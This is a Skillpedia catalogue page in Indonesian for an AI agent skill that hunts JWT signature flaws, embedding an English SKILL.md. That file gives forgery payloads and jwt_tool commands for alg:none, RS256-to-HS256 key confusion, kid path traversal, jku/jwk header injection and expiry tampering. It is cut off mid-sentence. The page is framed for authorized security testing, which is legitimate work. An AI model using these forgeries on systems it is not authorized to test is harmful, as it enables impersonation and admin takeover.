Langsung ke konten
Skillpedia
Keamanan5.4k Β· #14915

hunt-jwt-crypto

Fungsinya

Skill ini menguji JSON Web Token untuk celah tanda tangan yang bisa memungkinkan seseorang mengubah identitas atau peran. Ditujukan untuk pengujian resmi pada aplikasi yang memakai token JWT untuk login.

Kapan dipakai

  • βœ“Saat sebuah aplikasi mengirim token login yang diawali eyJ di header, cookie, atau respons.
  • βœ“Saat header token menyebut RS256 dan Anda ingin memeriksa apakah server menerima algoritma lain.
  • βœ“Saat Anda ingin memeriksa apakah token tanpa tanda tangan diterima.

Link skill

https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-jwt-crypto/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-jwt-crypto/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit β†’

Contoh permintaan ke AI

β€œAplikasi kami memakai token login JWT. Bisakah Anda memeriksa apakah token yang sudah diubah dengan peran berbeda diterima dalam uji resmi kami?”

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Agent mendekode token, lalu mencoba versi yang sudah diubah dengan klaim berbeda dan metode penandatanganan yang dilemahkan. Agent memeriksa apakah server menerimanya dan hanya melaporkan pemalsuan yang terkonfirmasi.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

HUNT-JWT-CRYPTO β€” Forgeable JSON Web Tokens (A04 Cryptographic Failures)

What actually pays

A JWT is header.payload.signature, each base64url. The signature is the only thing stopping you from editing the payload (your identity/role) and replaying it. It pays High/Critical when the verifier can be tricked into accepting a token you forged β€” so you become another user or an admin without their secret.

Two classic, generic verifier flaws:

  • alg:none β€” the verifier trusts the token's own alg header. Set alg:"none", drop the signature, edit the payload (e.g. role:"admin", another user's id/email). A broken verifier skips signature checking.
  • RS256 β†’ HS256 key confusion β€” the token is signed RS256 (asymmetric). The RSA public key is, by definition, public. If the verifier lets you choose HS256, it will use that public key as the HMAC secret β€” which you also know. Sign an edited payload with HS256 using the public key and it validates.

Recon β€” is this app JWT-based?

Login/token responses containing  "token":"eyJ..."   or  Set-Cookie: token=eyJ...
Authorization: Bearer eyJ...    on authenticated requests
A JWKS / public-key endpoint:   /.well-known/jwks.json, /jwks, public-key in the JS bundle

Decode the header (base64url the first segment). "alg":"RS256" β†’ try key confusion. Any alg β†’ always try alg:none first; it's free.

Forging the token (never hand-encode base64 β€” use a JWT tool)

Use a purpose-built tool so encoding/signing is correct: jwt_tool (jwt_tool <token> -T to tamper interactively, -X a for alg:none, -X k -pk public.pem for key confusion), Burp's JWT Editor extension, or a few lines of PyJWT. Each forge below is the concept plus the claim to edit.

alg:none β€” become admin / another user

header:    {"alg":"none","typ":"JWT"}
payload:   {"data":{"id":1,"email":"admin@target.example","role":"admin"}}
signature: (empty β€” keep the trailing dot:  header.payload. )

Some verifiers reject lowercase none but accept None/NONE/nOnE β€” try case variants.

RS256 β†’ HS256 key confusion β€” once you have the RSA public key

1. Obtain the server's RSA public key as PEM. Sources: /jwks.json or
   /.well-known/jwks.json (convert the JWK to PEM), a public-key file in the JS
   bundle, or recover it from two captured tokens (e.g. jwt_tool / rsa_sign2n).
2. Re-sign an EDITED payload with HS256, using that PEM as the HMAC secret:
      jwt_tool <token> -X k -pk public.pem
   payload edit:  {"sub":"administrator"}   (or role:"admin" / another user's id)

kid header injection β€” verifier loads the HMAC key from a FILE named by kid

header:  {"alg":"HS256","kid":"../../../../../../../dev/null"}
secret:  ""     (contents of /dev/null = empty string β†’ sign HS256 with an empty secret)
payload: {"sub":"administrator"}

Traverse out of the keys directory first. kid can also carry SQLi / command injection / SSRF if the key lookup hits a DB / shell / URL β€” same idea: kid is attacker-controlled and reaches a dangerous sink.

jku / x5u header injection (RS256) β€” verifier fetches the public key from a URL in the token

1. Host a JWKS containing a public key you control, on a server the verifier can reach.
2. Set the token's `jku` (or `x5u`) header to that URL and sign the edited payload
   with YOUR matching private key.
3. If the verifier allowlists jku hosts, chain an open-redirect or SSRF-reachable
   path on the target's OWN domain so the fetch resolves to your JWKS.

jwk header self-signed key injection (RS256) β€” embed an attacker-controlled public key in the token

header:  {"alg":"RS256","jwk":{"kty":"RSA","n":"<your_rsa_modulus>","e":"AQAB"}}
payload: {"sub":"administrator"}
signature: (sign with your matching private key)

Some verifiers incorrectly trust a jwk (JSON Web Key) claim in the header and use it to validate the signature. Generate your own RSA keypair, embed the public key in the token header, sign with your private key, and send. Works when the verifier does not verify the key's provenance or allowlist.

Expiry / time-based claim manipulation

Remove "exp" (expiration) claim entirely β€” many validators skip the check if absent.
Or set "nbf" (not before) to the past and "exp" (expiration) to far future (e.g. year 2099).
Edit payload: {"sub":"administrator","nbf":1000000000,"exp":4102444800}

Combined with any forging technique above (alg:none, key confusion, jwk i

Pertanyaan umum

Apa itu masalah algoritma none?

Itu terjadi ketika server yang lemah menerima token yang menyatakan tidak perlu tanda tangan.

Apa itu key confusion?

Itu terjadi ketika server yang mengharapkan tanda tangan kunci publik bisa dikelabui agar memeriksanya sebagai secret bersama.

Apakah skill ini mencakup semua masalah JWT?

Tidak. Skill ini mencakup pemalsuan tanda tangan dan kunci, sedangkan penanganan JWT lainnya dicakup oleh skill API yang terpisah.

Detail

Deskripsi asli dari pembuat

Hunt JWT cryptographic failures β€” alg:none signature-stripping and RS256β†’HS256 key-confusion that let an attacker forge a token for any identity (e.g. an admin) without knowing a secret. Use when the app authenticates with a JSON Web Token (an `eyJ...` Bearer token in the Authorization header, a cookie, or a login response). This skill OWNS JWT signature/crypto forgery (alg:none, key confusion, kid/jku header injection); hunt-ato covers JWT as one ATO path, hunt-auth-bypass covers SSO/SAML token trust, hunt-api-misconfig covers non-crypto JWT handling. Critical when a forged token grants acces

repo: elementalsouls/Claude-BugHunter

Popularitas

Bintang GitHub
5.4k
Peringkat
#14915
Lisensi
MIT
Diperbarui
2/11/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • …

Skill lain dari repositori ini

Skill serupa